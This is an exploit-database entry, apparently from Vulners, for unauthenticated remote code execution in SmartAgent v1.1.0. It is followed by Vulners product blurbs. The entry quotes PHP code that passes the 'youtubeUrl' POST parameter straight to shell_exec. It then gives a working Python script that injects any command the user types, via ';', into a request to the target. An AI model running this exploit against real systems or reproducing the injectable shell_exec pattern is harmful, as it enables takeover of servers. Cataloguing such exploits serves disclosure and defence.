`# Exploit Title: SmartAgent v1.1.0 - Unauthenticated Remote Code Execution
# Date: 01-10-2024
# Exploit Author: Alter Prime
# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com
# Version: Build v1.1.0
# Tested on: Kali Linux
An unauthenticated user can access a php script called https://smarts-srlcom.com/youtubeInfo.php from the vulnerable web application and through a POST request with vulnerable parameter "youtubeUrl" a command injection vulnerability could be triggered.
Vulnerable code snippet from youtubeInfo.php:
"""
$youtubeUrl=$_POST["youtubeUrl"];
$command = 'youtube-dl -j ' . $youtubeUrl;
echo shell_exec($command);
"""
Steps To Reproduce:
1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0
#Python Exploit
import requests
url = "https://smarts-srlcom.com?youtubeInfo.php"
command = input("Enter the command you want to run \(EX: id\): ")
postdata = {
"youtubeUrl": ";" + command
}
response = requests.post(url, data=postdata, verify=False)
print(response.text)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation